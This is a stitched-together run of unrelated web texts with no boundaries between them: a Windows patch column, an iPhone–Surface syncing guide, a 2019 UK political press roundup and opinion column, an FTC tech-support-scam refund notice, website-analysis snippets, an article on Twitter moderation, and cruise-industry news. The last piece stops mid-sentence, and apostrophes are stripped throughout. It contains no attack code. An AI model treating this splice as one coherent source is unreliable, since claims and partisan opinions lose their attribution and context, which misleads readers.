Tuesdays at 10 a.m. Redmond time. So it came as something of a surprise when we saw the second round of April patches rolling out on the fourth Thursday of the month at 2:30 p.m. Admins, who have come to expect this kind of erratic behavior, are pulling out more gray hair. I could understand if the Fourth Tuesday patches included something critical that required last-minute tweaking. But, Microsoft. Heres a rundown of this months second-wave patches: Win10 version 1809 - nothing. Delays in the 1809 patches are old news, but the usual excuse involves extra testing in the Windows Insider Release Preview (beta testing) ring. This month, 1809 isnt in the Release Preview ring. Its just AWOL. Win10 version 1803 - cumulative update KB 4493437 has a bunch of little quality (non-security) fixes, plus 10 separate Japanese date bug fixes. The IE Custom URI Schemes bug introduced earlier has apparently been fixed. Both of the other acknowledged bugs are still there, including Rename on a Cluster Shared Volume crashing the system. Win10 versions 1709, 1703, 1607, 1507 - get equally ginormous volumes of little fixes, plus 10 or 11 Japanese date bug fixes, depending on version. Windows 8.1, Server 2012 R2 - Preview of Monthly Rollup KB 4493443 contains seven Japanese date bug fixes and nothing else. Windows 7, Server 2008 R2 - Monthly Rollup Preview KB 4493453 has eight Japanese date bug fixes and bupkis. There are also similarly stunted Monthly Rollup Previews for Server 2008 SP2 and Server 2012, as well as non-cumulative Security-only patches for Win 8.1 and Win 7. The latter contain 17 separately identified Japanese calendar-related fixes -- and nothing else. All of these patches are reserved for those who either specifically select them in Windows Update, download and install them manually, or (shudder) click "Check for updates." Microsofts been trying to fix the Japanese calendar every couple of weeks for almost a year. Guess its a hard Computer Science problem. Most disconcerting, at least to me, is that there appears to be no resolution to the dirty six Win 7 and 8.1 patches released earlier this month that bluescreened PCs running various antivirus programs. Microsoft has promised that Win10 1809 and 1803 would grow a new way to block the installation of Win10 1903, via an opt-in link called Download and install now. I dont see any hint of that feature just yet. You have to ask yourself why all of these lame patches took so long and when (or if!) well see a Win10 1809 patch. Join the night watch on the AskWoody Lounge. Winter is coming. Not every iPhone user gets to own an iPad, some get by using a Microsoft Surface the good news is that the two systems work well together for pictures, files and contacts. Set up iCloud for Windows If you have an Apple ID (and you should if you own an iPhone) then you can set up iCloud for Windows on your Surface (though it is not compatible with Surface devices running Windows 10 in S mode). I went into a little more detail on this procedure here, but the basic instructions follow: Download and install iCloud for Windows for your Surface. Restart your Microsoft device and you should be asked to sign into your iCloud account. If you are not asked, then you can access this via Start>Search for iCloud. You should sign in with your Apple ID. You will then be able to select what you want to sync to your Surface: iCloud Drive, Photos, Mail, Contacts, Calendars, Tasks and Bookmarks all sync, giving you a wonderfully platform-agnostic toolkit. Of course, with just 5GB of free data available to any iCloud user, it makes sense to employ Microsofts more generously portioned OneDrive service for most of your online backup if you are already in the Microsoft space. Set up and use OneDrive If you use Office 365 then you already have access to OneDrive, Microsofts own heavy-syncing Dropbox/iCloud competitor. You can use this to sync content between Microsoft apps on both devices, or to automatically sync images captured on your iPhone to your Surface copies of all your images are then kept securely on OneDrive. Setting this up is very simple. Sign into OneDrive on your Surface, and then download and install the OneDrive app from the App Store and sign in on your iPhone using your Microsoft account ID. You can then select what data you want to sync. Youll find your OneDrive as a default place from within Microsoft applications. Youll also find your OneDrive inside your iPhones Files app, though you must enable this. To do so, open Files, tap Edit and then toggle OneDrive to On. Youll be asked to sign in with your Microsoft ID, once you do so youll find all your OneDrive files will be made available to you in both the app and Apple Files app on your iPhone, and these will merrily sync across to your Surface and all your other Windows devices. This is highly useful if you also need to share files with devices that will run OneDrive but are unable to use iCloud Drive. Tip:To upload images from your iPhone youll need to open the OneDrive app and switch Camera Upload to On in Settings. This will automatically upload photos and videos to your OneDrive account. Be wary of this doing so will devour your OneDrive storage space, but if you do want additional online image backup this is useful. It is also helpful if you need to access your iPhone images/videos on your Surface, PC or other devices that cannot access images in iCloud. Web browsing and Mail iCloud will sync bookmarks between both devices, but if you want a consistent browsing experience, Microsoft recommends installing the Edge browser on your iPhone (the same browser it uses on Surface). Once you do so youll need to log into your Microsoft account on your iPhone in order to link it to your Surface. Once you do so youll be able to open a web page on your iPhone and continue to use it on a Surface though I dont think this continuity is as well-featured as you get when you use an iPad and iPhone. All the same, it helps maintain a more consistent experience. All you need to do is tap the Continue on PC button at the bottom of the Edge browser. I believe many productivity workers still use Outlook for email. This is available for iPhones, too all you need to do is download it, install it and log-in with your Microsoft ID. Once you do so youll see all your mail, contact and calendar info across both platforms. Where to go for further information? Apple and Microsoft both offer plenty of help and advice for customers attempting to use both platforms together. Here are a few articles I think may help: Please follow me on Twitter, or join me in the AppleHolics bar & grill and Apple Discussions groups on MeWe. No deal preferable to no Brexit, insists Hunt Japan warns that cliff-edge exit must be avoided Daily Telegraph Jeremy Hunt has vowed to back a no-deal Brexit if the alternative is to remain in the European Union, as he set out his stall to succeed Theresa May. The foreign secretary insisted that he wanted the UK to leave, leave quickly and leave cleanly and also moved to rule out holding a snap general election if he entered No 10 after a Tory leadership contest. He said that his previous support for Remain and fleeting backing for a second referendum should not rule him out of consideration but told reporters they would have to wait and see whether he would run. The Times More: Foreign Secretary says Trump should address Parliament during state visit The Guardian as Brady urges May to back fresh anti-backstop bid The Tories most powerful backbencher has called on Theresa May to support a fresh Commons bid by Brexiteers to strip the Irish backstop from her EU deal. The Sun can reveal that senior Tory Eurosceptics are planning to table an amendment to the Withdrawal Agreement Bill to remove the controversial insurance plan that keeps Britain tied to the EU indefinitely. The explosive move when the law to enforce the deal comes in front of Parliament soon would spark a massive row with Brussels if it passes. The EUs 27 leaders are adamant that the PMs exit deal with them is dependent on the backstop remaining. But Brexiteers insist it would lay down the gauntlet to Brussels to renegotiate the deal or force Britain out without one a sanction EU chiefs have proved desperate to avoid. The Sun May drops plan for new vote before local elections FT but is reportedly willing nuclear option of the Withdrawal Bill Daily Express Ministers pile on pressure to bring deal back Daily Mail >Yesterday: Greg Hands MP in Comment: The Party Leader must be far more accountable to Conservative MPs amidst claims her leadership was spared in order to block Johnson Boost for Johnson as he rakes in over 160,000 for two speeches The Times Theresa May was spared a new no confidence vote by Tory backbenchers only to bloc the election of Boris Johnson as next leader of the Conservative Party, it has been claimed. The Prime Minister was given the chance to quit in a few weeks rather than being abruptly cast out by a vote called by the powerful 1922 Committee in an attempt by the former Foreign Secretarys enemies to quash Mr Johnsons rise to power, according to a source. An un-named MP said Mr Johnson, a hardline Brexiteer, would likely push for a no deal Brexit at this stage rather than take place in the European elections next month. Daily Express >Today: Greig Baker in Comment: Why the Canterbury Association has lost faith in May Hunt and Williamson deny being sources of Huawei leak Two Cabinet ministers have publicly denied leaking details of the Huawei controversy as Theresa May launched a formal inquiry into the affair. Jeremy Hunt and Gavin Williamson both took the unusual step of insisting they had not been the source of information about Huaweis future role in the UKs 5G mobile network, putting pressure on other ministers to follow suit. The row threatened to become a proxy battleground for Tory leadership rivals as Conservative MPs clamoured for the source of the leak to be rooted out and sacked, prompting accusations that they were motivated by a desire to kill off the leadership hopes of ministers they do not support. Daily Telegraph Defence Secretary accuses civil servants The Sun UK to launch high-level probe into unprecedented leak FT Ex-civil service head demands deep dive into phones Daily Mail Fallon says those responsible should face police The Sun Comment: The security risks are over-hyped Jeremy Warner, Daily Telegraph >Yesterday: Adam Holloway MP in Comment: Huawei exercises state influence through private means. It is the East India Company of the modern age. Ministers: Hammond secures Chinese visit to sign deals worth billions as Fox forced to clarify climate comments Chinas deputy PM yesterday agreed to send a top level delegation to London this June to sign off billions of pounds of business deals just 48 hours after the Huawei leak. Chancellor Philip Hammond sealed the visit from Hu Chunhua as he risked controversy by championing Beijings controversial Belt and Road programme. Trade officials from the economic superpower will jet into the capital this summer for the tenth Economic and Financial Dialogue (EFD) conference between the two countries. China is expected to lift its bans on British poultry and cosmetics which have not been tested on animals, at the talks. If they are signed off this summer, they will open up access to markets worth an estimated 10.2billion over five years. The Sun The international trade secretary, Liam Fox, has been forced to clarify comments suggesting individuals could question the scientific consensus on climate change. Speaking in the Commons after protesters from Extinction Rebellion heldprotests across the City of London, Fox suggested even those who did not accept that climate change was man-made should still seek to manage the planets resources. Its important that we take climate issues seriously, Fox said. Whether or not individuals accept the current scientific consensus on the causes of climate change, it is sensible for everyone to use finite resources in a responsible way. The Guardian Schools 1) Hancock hints at school ban for un-vaccinated children C As anti-vaccine misinformation spreads, we must eradicate polio Andrew Mitchell and Stephen Twigg, Times Red Box hildren who have not been given the MMR vaccine could be excluded from school to prevent the spread of disease, the Health Secretary has suggested. Matt Hancock said he could not rule out the possibility that unvaccinated children would be sent home if immunisation rates fail to improve. Teaching unions described the idea as a non-starter, saying it would be wrong to punish children for their parents decision not to vaccinate them, as well as being unworkable. Mr Hancocks comments also prompted a row with the Education Secretary, Damian Hinds, whose department issued a statement saying children should never be excluded on the grounds of immunisation. Daily Telegraph Schools 2) Private schools hit back against pressure from both parties Private schools are saving taxpayers billions of pounds a year, their head teachers have said in a forceful defence of the sector. The heads used their annual report yesterday to assert the financial benefits of fee-charging schools and the good they are doing for society Private schools have come under pressure from both main parties, with questions raised over their social contribution and whether they should continue to enjoy charitable status. Labour has vowed to add VAT to private school fees to pay for free school meals for state primary pupils. Theresa May also threatened to change their charitable status in the last Tory manifesto, although this idea has since been abandoned. The Times A strong case for their charitable status The Times Government row over investigations into hundreds of ex-servicemen London and Dublin seek fresh round of Northern Irish talks FT Leigh takes swipe at Bercow in bid for role Up to 200 ex-soldiers and police are being probed for alleged criminal actions during the Troubles, it has emerged. The investigations come as two government departments fight over whether Army veterans should be granted amnesty. The Ministry of Defence estimated the number of cases. It wants to impose a statute of limitations on offences allegedly committed more than ten years ago unless there are exceptional circumstances or new evidence. Meanwhile, the Northern Ireland Office has told relatives of those killed in the Troubles that the proposals will not apply there, in letters seen by the Guardian Some Tory backbenchers have backed protests by past and present service personnel against the court cases. The Sun Commons Speaker John Bercow suffered a fresh blow to his authority last night after a respected Conservative took a swipe at his biased handling of Brexit and made a pitch for the job. Veteran MP Sir Edward Leigh offered himself up as a candidate for the most powerful role in Parliament by promising to be rigidly impartial if he was selected. The Brexiteer signalled he will restore the traditional wig and court dress as part of his plan to submerge his personality while in post. Mr Bercow, who has scrapped many Commons traditions during his decade in the job, has already stayed in post a year longer than promised and MPs are piling on pressure for him to quit. Daily Express Speaker snubs invitation to royal banquet The Sun Boothroyd tells Bercow hes out of order on Trump ban Daily Mail Police investigate assault on Tory candidate P olice are investigating a politically motivated assault against a Tory council candidate who had been canvassing, as she warned that social media was whipping up anger. Carla Hales, a music teacher due to stand in Colchester next month, was punched three times in the side by an assailant who yelled Tory b- as he rushed her from behind. The first-time candidate initially feared that she had been stabbed. She had been taking a selfie at the Bourne Mill nature reserve. Her attacker fled, leaving Mrs Hales alone and in pain. She then went to hospital for treatment. She was given an X-ray by medics and confirmed that there was nothing broken but some sore ribs and a slightly bruised ego. Daily Telegraph >Today: ToryDiary: Vote Conservative in next weeks local elections Fraser Nelson: An inter-generational phony war will not secure the Conservatives future For most of the last 15 years, the Tories have been anxiously trying to look slick, modern and vigorous only to see a pensioner, Jeremy Corbyn, waltz off with the youth vote. The over-60s are four times more likely to vote Conservative than the under-25s. Nothing the Tories do seems to work. Whether its posing as eco-crusaders or promising to review tuition fees, attempts to lure the young have left Conservatives looking panicked and insincere. Every attempted remedy for the partys youth problem serves to make it worse. The latest idea is to portray the young as victims of the old: the so-called intergenerational fairness agenda. This usually means repeating the (untrue) line that this young generation are the first to be worse-paid than their parents were at the same age. So the solution is to bring about some intergenerational fairness by taxing the bejesus out of the oldies. Daily Telegraph MPs urge that overseas students should be allowed to work Britain needs more overseas students Jo Johnson and Paul Blomfield, The Times Probation system in meltdown Overseas students would be able to work for two years after graduation under a proposed amendment to the immigration bill. The amendment will be tabled today by Jo Johnson, the former universities minister, and Paul Blomfield, a Labour MP and co-chairman of the all-party parliamentary group on international students. Students were allowed to work for two years after graduation until 2012 and the restoration of the post-study work period would align the UK more closely with competitor countries such as Australia and the US. In a second change it would also ensure that the number of overseas students cannot be capped in future to comply with the net migration target. The Times Failures such as this tell the story of a probation service in meltdown. Just two weeks ago Glenys Stacey, the outgoing chief inspector of probation, warned that the current system was irredeemably flawed. The National Audit Office said last month that the malfunctioning service was causing significant risks for both offenders and the wider public. Earlier this year Working Links, one of the private companies that provides probation supervision, collapsed after four years of poor service and failing efforts to maintain a lossmaking contract. Ministers, who are under increasing pressure to rescue the service from crisis, are expected to announce plans for a new probation system as early as next month. FT Labour candidates in fresh antisemitism storm Tories and Labour accused of discrimination in Portsmouth The Guardian Robinson to stand as an independent MEP candidate The Sun as Adonis u-turns on anti-Brexiteer comments A Labour candidate for the European elections has become embroiled in a fresh anti-Semitism storm after it emerged he met with Hamas leaders and criticised the trial of a Nazi boss. Murad Qureshi, a former London Assembly Member, is number five on Labours London list for EU polls if they take place in May. But hes made a string of controversial comments in the past, including attacking the powerful pro-Israel lobby in the United States, and re-tweeting a message which said you can get away with offending anyone so long as theyre not Jewish. He later apologised for the tweet and deleted it. The Sun The Labour MEP candidate Lord Adonis has apologised for telling backers of Brexit not to vote for his party. Nigel Farage has seized on the comments from the former adviser to Tony Blair, vowing to repeat them every day as he targets Labour heartlands with his new Brexit Party. Lord Adonis, who is standing in South West, has recanted, saying that he was deeply sorry for the off-the-cuff comments made last September on LBC radio. He said on Wednesday: I encourage all voters, whatever their position on Brexit, to vote Labour in the upcoming European parliament elections. Chuka Umunna, the Change UK MP, said that the former transport secretary had been gagged by the Labour leadership. The Times Watchdog warns that holding Euros could undermine faith in politics The Times Comment: Dear Leavers: Labour doesnt want your support Nigel Farage, Daily Telegraph Editorial: The definitive example of the chancers rotting politics The Sun Labour makes staff (but not MPs) attend anti-harassment training Leading activist quits Change UK Labour MPs staff have been ordered to attend training on how to identify bullying and sexual harassment after the Pestminster scandal, although the MPs themselves are exempt. The Valuing Everyone training is part of the new independent complaints and grievance scheme, introduced after a wave of bullying and harassment allegations in Westminster since 2017. It will not be compulsory for MPs Last October an independent inquiry by Dame Laura Cox, a retired High Court judge, found that female staff in the House of Commons had been inappropriately touched, verbally abused and repeatedly propositioned as part of an insidious and pervasive culture of harassment. Dame Laura said there were urgent and serious problems in a workplace where MPs had God-like status. The Times A leading Change UK activist has quit the party, claiming that it is riddled with distrust and letting down those who believed it heralded a new kind of politics. Dan Heley, who helped to develop the grassroots movement that backed Change UK, said he had hoped the party was going to be the fresh face of politics that society was crying out for. Instead it had resorted to old-style political manoeuvring, power struggles and nepotism, leaving volunteers feeling dejected and regretful, he said Writing for The Times Red Box, Mr Heley said that despite being overwhelmed by more than 3,500 applicants for just 70 positions, the party largely chose to favour D-list public figures, former MPs and candidates, and those who had personal relationships with the MPs and staff. The Times TIG does not herald a new kind of politics Dan Heley, Times Red Box The future is looking backwards Henry Deedes, Daily Mail By rejecting an anti-Brexit alliance, CUKs leaders have failed their first test Philip Collins, The Times Every vote for the Lib Dems will be a vote to stop Brexit Jo Swinson, Times Red Box Farage says his group will stand in a general election Brexit Party unveils more candidates The Guardian Nigel Farages new Brexit Party will run candidates at the next general election to unseat MPs who have not delivered Brexit, the Leave campaigner has said. Mr Farage said he would use next months European Parliament elections as a springboard to challenge for seats at Westminster. His newly founded party established after his break with UKIP has come first ahead of Labour and the Conservatives in some opinion polls. The next general election is not due until 2022 but the fragility of Theresa Mays government has led to ongoing speculation of an earlier poll. Daily Mail >Today: Only one in five Scots back Sturgeons independence push Only one in five Scottish voters support Nicola Sturgeons demand this week for a second independence referendum within two years, according to an opinion poll showing declining support for separation. The poll, conducted by Survation, found 21 per cent backed the First Ministers blueprint for another vote on leaving the UK being staged before the May 2021 Holyrood election. A majority of Scots said either they did not want a separation referendum for at least another decade (17 per cent) or that there should never be one (34 per cent). In another blow to Ms Sturgeon ahead of this weekends SNP conference in Edinburgh, support for independence has fallen by a point since last November to only 39 per cent. Daily Telegraph Why the First Minister is hedging her bets Mure Dickie, FT Internal rows mean SNP conference wont be the usual love-in Alan Cochrane, Daily Telegraph >Yesterday: Henry Hills Red, White, and Blue column: Caught between her activists and the voters, Sturgeon plays for time on independence News in Brief: Iain Dale presents the evening show on LBC Radio and is a commentator for CNN. On Wednesday, Joe Biden has announced his candidacy for the 2020 Presidential election. If ever there was a wrong candidate at the wrong time, its him. Too old, too creepy, too unmemorable and totally lacking in inspiration. I remember his tilt at the Democratic nomination back in 1988, when he was forced out of the race after being found guilty of plagiarising a speech by Neil Kinnock. Since then, its difficult to point to anything of note hes achieved. During his eight years as Barack Obamas Vice-President, can anyone think of anything the Obama administration achieved and can say, yes, Joe was the driving force behind that? We also learned this weeek that the actor Ken Kercheval has died. He played Cliff Barnes in Dallas. Those of you who remember his on screen relationship with J R Ewing, played by Larry Hagman, may well agree with the analogy I made on CNN Talk yesterday where I said that Biden is Barnes to Donald Trumps Ewing. And Barnes never emerged on top of those battles, did he? Political parties are like tribes and member of the tribe do not leave it without a lot of painful thought. Ann Widdecombe was a loyal Tory for 55 years and yet, on Wednesday, she announced she was standing for the Brexit Party. By definition, that meant resigning from the Conservative Party. Being a decent sort, the first people she told were Maidstones Conservatives, whom she not only served as an MP for 23 years but continued to do as their Honourable President. Within hours she was sent a letter by Alan Mabbutt from CCHQ informing her coldly that she was now expelled from the party. Andrew Pierce hinted strongly in his Daily Mail column on Monday that La Widdecombe was on the verge of defecting, but in the intervening 48 hours no one got in touch to try to dissuade her. A semi-competent Whips Office would have identified a senior party figure to have a word. It never happened. I have no idea whether it would have worked or not, but to lose someone like Ann, who remains one of the most popular fundraising guests for local associations, says a lot. Successive party leaders have treated her with disdain. Well now, theyve got their reward. Compare and contrast the Brexit Party launch with that of The Independent Group. Or is it Change UK? Or the TIGs? Or the Remain Alliance? How a new party can go by four different names, is anyones guess. They cant even design a logo. The Brexit Party, meanwhile, has so far got everything bang on. Professional events, innovative social media operation, an interesting mix of competent candidates and a leader who knows what hes doing. None of those things can be said about the TIGs. Within 48 hours of them announcing their Euro candidates, two were forced to quit over tweets from several years ago. I did ask Anna Soubry and Heidi Allen how they would vet candidates. Oh, itll be fine, they said. Ha ha. Theyre like the old UKIP in disguise. So the 1922 Committees executive has proved itself to be as spineless as the Cabinet. I meet very few Tory MPs who think Theresa May is still the right person to lead the party. They all brief journalists that she must go and yet shes still there. Nothing. Has. Changed. The only people who can do anything about this extraordinary state of affairs are the MPs themselves. I wonder whether the potential loss of more than 1,000 council seats next Thursday will be enough to do the trick. Or polling under 15 per cent in the European elections. If shes still in situ after that, we might as well get used to May being Prime Minister for the next decade. If she loves the party as much as she says she does, surely she now has to set out a firm timetable for her departure. And this must include dates, not just vague pledges. We know how easy it is for her to blur red lines I caused a minor stir on Newsnight on Wednesday when I was discussing Scottish independence and the effect of Brexit on the future of the United Kingdom with Chris Wilkins, Kate Williams and Angela Haggerty. Im a quarter Scottish myself well, my middle name is Campbell and Iain is spelled with two Is, so go figure. If I lived in Scotland, I would probably be quite sympathetic to the idea of an independent Scotland. Its the left-wingery of the SNP that puts me off. Emily Maitliss eyes were on stalks when I said: There is nothing wrong with nationhood with people believing their nation should be independent. If I lived in Scotland and I was 100 per cent Scottish I think I would be very tempted by the idea of Scottish independence. She asked: So you believe in Brexit and Scottish independence? Well, 38 per cent of Scottish voters voted to Leave and I imagine quite a proportion of them were SNP supporters. Surely it is wholly consistent to believe in independence per se. The SNPs main failing is that they dont seem to understand what the word Independence actually means. There is an inherent constitutional hypocrisy in the SNP position of wanting independence from the UK while at the same time insisting on remaining in the EU. Yet they dont see the conflict. Strange. Some victims of the tech support scam who live in Ohio are getting justice. The Federal Trade Commission (FTC) and the state of Ohio are sending out $92,000 in refunds to consumers who were tricked. Weve reported on this scheme over the years. There are many variations of the tech support scam, but most go like this: an ad that looks like a security alert pops up on a consumers computer informing them they have a virus and provides a toll-free number to call to get it removed. If the victim bites, he or she will be charged several hundred dollars for lifetime support and sold useless software they dont need. Its rare that victims ever get relief, but in this case the FTC and Ohio reached a settlement with operators who were doing business under a variety of names, including Repair All PC and WebTech World, among others. Masquerading as Microsoft As early as 2015, scammers were cold calling consumers and claiming to be employees of Microsoft, telling their intended victims that an analysis had indicated their PC was infected with malware that could be removed for a hefty fee. In one year, Microsoft said it received 175,000 complaints about that scheme. The latest FTC complaint said people who called the toll-free number listed on the pop-up ads were urged to provide the telemarketers with remote access to their computers. The telemarketers then went through the motions of running diagnostic tests before delivering the bad news -- the victims computer was packed with viruses, had been hacked, or had other problems. Checks are in the mail The FTC said it is mailing checks, averaging $417 each, to 222 victims of the scam. Those receiving a check should deposit or cash it within 60 days, as indicated on the check. The FTC also points out that it never requires people to pay money or provide account information to cash a refund check, heading off yet another scam in which criminals promise to help victims receive their compensation in exchange for a fee. Consumers who believe they are due a refund should watch their mail for a check. If they have questions, they can contact the FTCs refund administrator -- Rust Consulting, Inc. -- at 1-877-773-8183. 100% Website agcabedi-ih.gov.az uses latest and advanced technologies. It supports HTTPS. The main html page has a size of 30800 bytes (30.08 kb uncompressed). This CoolSocial report was updated on 2020-08-13, you can refresh this analysis whenever you want. 62% Website anhkhieudam.net uses latest and advanced technologies. It supports HTTPS. The main html page has a size of . This CoolSocial report was updated on 2021-11-21, you can refresh this analysis whenever you want. 80% Website e-monki.pl uses latest and advanced technologies like: Php. It supports HTTPS. The main html page has a size of 45067 bytes (44.01 kb uncompressed). This CoolSocial report was updated on 2021-01-31, you can refresh this analysis whenever you want. 80% Website realitymorava.cz uses latest and advanced technologies. It is very popular on the web, it's within the 1 million most visited websites of the world at position 336668 by Alexa. It supports HTTPS and GZIP compression. The main html page has a size of 53694 bytes (52.44 kb uncompressed) and 11160 bytes (10.90 kb compressed). This CoolSocial report was updated on 2021-07-30, you can refresh this analysis whenever you want. The site you specified has a disallow rule. At the origin of the Internet links were basically a signal of "likes". In a way, so likes, tweets and shares have now the natural explicit meaning of links. CoolSocial is an analyzer you can use to improve your site social media impact. You can also check for your competitors. Given how little Twitter's done to boot white nationalists off its platform, it seems these partisans of pastiness don't bother CEO Jack Dorsey very much at all. But many Twitter users definitely have a problem with it, and have been demanding to know why their cries for bans and moderation have been left unanswered. But a Twitter whistleblower claims to know exactly why: The site would have to ban too many American politicians. Twitter has used its algorithms to get rid of ISIS and less brand-focused Islamist propaganda, to great success, so a lot of people both outside and within the company have wondered why it hasn't unleashed such an algorithm on white supremacy. The reason, this source claims, is that Islamic terrorists and white supremacists have one major difference: Only one of them has their talking points retweeted by GOP members. Talking to Motherboard this week, the Twitter tattler claimed that they were told the reason the site couldn't just algorithm away white nationalist chatter is that too many prominent Republicans would get swept away with them. You might ask what the problem with that is. If it walks like a duck, talks like a duck, and tweets racist conspiracy theories like a duck, shouldn't it get banned like the white-hood-wearing duck that it is? But the reason isn't mere political favor-currying; it's Twitter's big obsession with the combo of free speech and popularity. According to the source, most of society (read: the West) has no problem with a little (or a lot of) innocent collateral damage when dealing with Islamic terrorists, but the site is simply too afraid that accidentally booting politicians would cause a lot of clapback from ... well ... we guess all those white supremacists they're not too keen on banning? Working for both the Royal Caribbean International and Celebrity Cruises brands, Chris Allen, vice president of deployment and itinerary planning, said that itineraries are designed to fit the target audience and guest demographics of each brand, supporting their (brand) pillars. We work very closely with the leadership groups of Royal Caribbean and Celebrity to ensure that the itineraries fit with their brand. It is a very collaborative approach, he added. We also look at the revenue potential tickets, onboard and shore excursions and balance that against key costs. Fuel continues to be the largest expense. Ultimately we look at what the guest experience will be. If guests have a great time, if they want to come back, and if they tell their friends, then we have been successful. We are looking as far as 10 years out, he continued. Before we even order a ship, we have an idea where that ship will be deployed. The planning function ranges from minute details to the big picture. Our team can go from the granular level, like should we depart St. Thomas at 5:00 or 5:30 pm and should we go to St. Maarten or St. Kitts. We go from that level of details, making $10,000 adjustments, to a billion dollar chessboard where we move Oasis-class ships around, and where we are going to place our future newbuildings, he explained. We are looking at the broad, strategic decisions as well as the micro decisions. Among new developments, this spring, Royal Caribbean will be launching Alaska service with the Ovation of the Seas, which will be dividing her time seasonally between Alaska and Australia. Later this spring, Royal Caribbean will be introducing the Perfect Day at CoCoCay, after a $200 million transformation of its private island destination in the Bahamas. We expect to have 14 ships calling and 2 million guests at CoCoCay for the 2020-2021 season, Allen said. We are leveraging Perfect Day throughout the Caribbean for our entire portfolio of itineraries, whether ships are sailing from Southeast Florida, Tampa, Port Canaveral, Galveston, Baltimore or Cape Liberty. All those ships will have the opportunity to call at CoCoCay. Royal Caribbean is also upping its game in the short cruise market, with the Mariner from Port Canaveral and the Navigator from Miami, as well as the Independence seasonally from Port Everglades. For Celebrity in 2020, the new Apex will first sail a brief season out of Southampton before spending the summer in the Mediterranean on mostly seven-night cruises, alongside the Edge, which will have a core program of 10- and 11-night sailings. We are expanding the choices and variety of cruises for Celebrity, Allen said. Also in the Mediterranean will be the Infinity and the Constellation, and this means one more incremental ship for Celebrity in Europe in 2020. Because the Constellation and Infinity are smaller, a lot of their itineraries are concentrated around Venice given the capacity limits there preventing larger ships from calling. In Northern Europe, Celebrity will sail the Reflection and Silhouette for the summer. This fall will see Royal Caribbean returning to the Eastern Mediterranean, calling in Kusadasi, Haifa and Ashdod, and both brands are slated to be back with more calls in 2020. On the other side of the globe, the new Spectrum of the Seas is being based year-round in Shanghai, while the Quantum moves to Tianjin for the summer season and to Singapore for the winter. Having these ships in China reinforces our position in the market and region as other brands have vacillated on their position, Allen said. We have also experimented with expanding our itineraries out of China. When we first started up the average cruise length was a little more than four nights. Over time we have added seven- and eight-night cruises, reaching the east coast of Japan and also Vladivostok. By opening up more ports, we are broadening the appeal of our itineraries in the region both for first timers and repeat cruisers. Celebrity is also building up its capacity in Australia for 2020-2021 with the Eclipse to be based out of Melbourne and the Solstice from Sydney. The itineraries speak to the different target markets for each brand, Allen noted. Excerpt from Cruise Industry News Quarterly Magazine: Spring 2019 P&O Cruises has announced the next series of Olly Smiths A Glass With podcast featuring seven personalities who are associated with P&O Cruises and its new ship Iona. A Glass With is a podcast hosted by wine expert Olly Smith who is also one of P&O Cruises Food Heroes. Each episode features a celebrity guest chatting to Smith as they share a glass together. The seven personalities to be featured are: April 25, Jonny Wilkes, performer and producer of Astonishing, the magic and illusion show on P&O Cruises. May 2, Marie Forsberg, Norwegian chef, photographer and forager. May 9, Alex James, musician, cheesemaker, Blur bassist and a frequent traveller on P&O. May 16, Eric Lanlard, master patissier and a P&O Cruises Food Hero. May 23: Marco Pierre White, chef, restaurateur and Food Hero. May 30, Wesley Dunlop, captain of the Iona. And on June 6, Jose Pizarro, Spanish chef. During each podcast, Smith will chat to them about their travel experiences, the destinations that they fell in love with, the food and wine that they discovered along the way and special stand-out moments during their life and career. Smith said: I felt it was only fitting that Iona should be the star of the next series of A Glass With. The podcasts focus on just a few of the incredibly talented people involved with the Iona and Im sure that my listeners will be fascinated to hear them chat with me about their travel, food and wine experiences. Ionas itineraries lend themselves so perfectly to new dining and drinking discoveries so hopefully we will let everyone in on a few secrets. A Glass With is available on aglasswith.com; Spotify; iTunes; SOUNDCLOUD; Overcast; tunein and Stitcher. Ponant has announced two in-depth musical cruises for 2019 and 2020 that will be featured in its Quintessential Collection, a series of themed itineraries. A seven-night A Musical Odyssey in the Mediterranean aboard Le Bougainville from Athens to Rome is scheduled for September 20 -27, 2019, while the nine-night A Musical Odyssey in Northern Europe, celebrating Beethovens 250th Birthday, aboard Le Dumont-dUrville from Stockholm to Honfleur is scheduled for September 8 -17, 2020, according to a press release. The musical component of both cruises will be curated by Michael Parloff, former Principal Flutist of the Metropolitan Opera Orchestra. Fares start at $5,020 per person. The intimacy of concerts aboard ship and ashore and the quality of the performing artists provide a truly unparalleled experience, the company said, in a statement. The cruises will visit relevant points of interest in Northern Europe and sites in Greece and Italy in the company of world-class performing artists. The artists aboard will participate fully in excursions and life aboard ship, the company said. From the press release: A Musical Odyssey in the Mediterranean, September 20-27, 2019, combines some of the most compelling destinations in Greece and Italy with a series of private recitals by classical musicians as Le Bougainville sails from Classical Greece to Imperial Rome. Potential excursions include visits to the sacred Patmos, where John the Evangelist recorded his visions of Christ; and Pompeii, the region destroyed and preserved by the eruption of Mount Vesuvius in AD 79. A stop in Taormina, Sicily offers the opportunity to tour the iconic Greek Theatre and enjoy an exceptional private concert in the ancient Duomo. Meanwhile, An Odyssey in Northern Europe, September 8-17, 2020 will cover the rich cultural heritage of Northern Europe accompanied by world-class chamber musicians performing an all-Beethoven repertoire aboard Le Dumont-dUrville, a new Explorer ship debuting in summer 2019. The musical odyssey coincides with a world-wide celebration of the 250th anniversary of Beethovens birth. Along the way passengers will have access to some of the best museums in the world including the acclaimed Louisiana Museum in Copenhagen and the great cultural institutions of Holland and Belgium. Days at sea will be filled with music ranging widely across the great composers body of work with an exciting onboard concert during the transit of the Kiel Canal and a private performance in the historic 17th-century Westerkerk in Amsterdam. A new passenger terminal was officially opened on April 24 at Zadar Cruise Port. The President of the Republic of Croatia, Kolinda Grabar-Kitarovic, attended the event, along with more than 200 distinguished guests. Global Ports Holding, the world's largest independent cruise port operator, has operated Zadar cruise port since September 2018. The new Zadar terminal building extends over 18,000 square metres on two floors, according to a statement. As part of the event, a special session of the Zadar County Assembly was held at the building, as a part of the County Days that are being marked this month demonstrating the importance of the investment to the local community. The terminal inauguration ceremony was also attended by GPH COO Stephen Xuereb and Zadar Port Authority CEO Robert Skific, Prime Ministers Envoy Zvonimir Frka-Patesic, Assistant Minister in the Ministry of the sea, transport and infrastructure Josip Bilaver and Zadar County Prefect Bozidar Longin. Emre Sayin, CEO of Global Ports Holding, said: Last year we were very pleased when Zadar Cruise Port joined our global network of 15 cruise ports. The opening of the new passenger terminal marks the next step in the development of Zadar as an exciting and important cruise destination and we are delighted to collaborate closely with the officials in Zadar and the Croatian government in this endeavour. We look forward to bringing our operational and commercial expertise to Zadar Barbaros Ozakan, Zadar Cruise Port General Manager, commented: At the beginning of April, we welcomed the first cruise ship to our new terminal, which marked the start of this years cruise season. Since then, nearly 10 thousand cruise 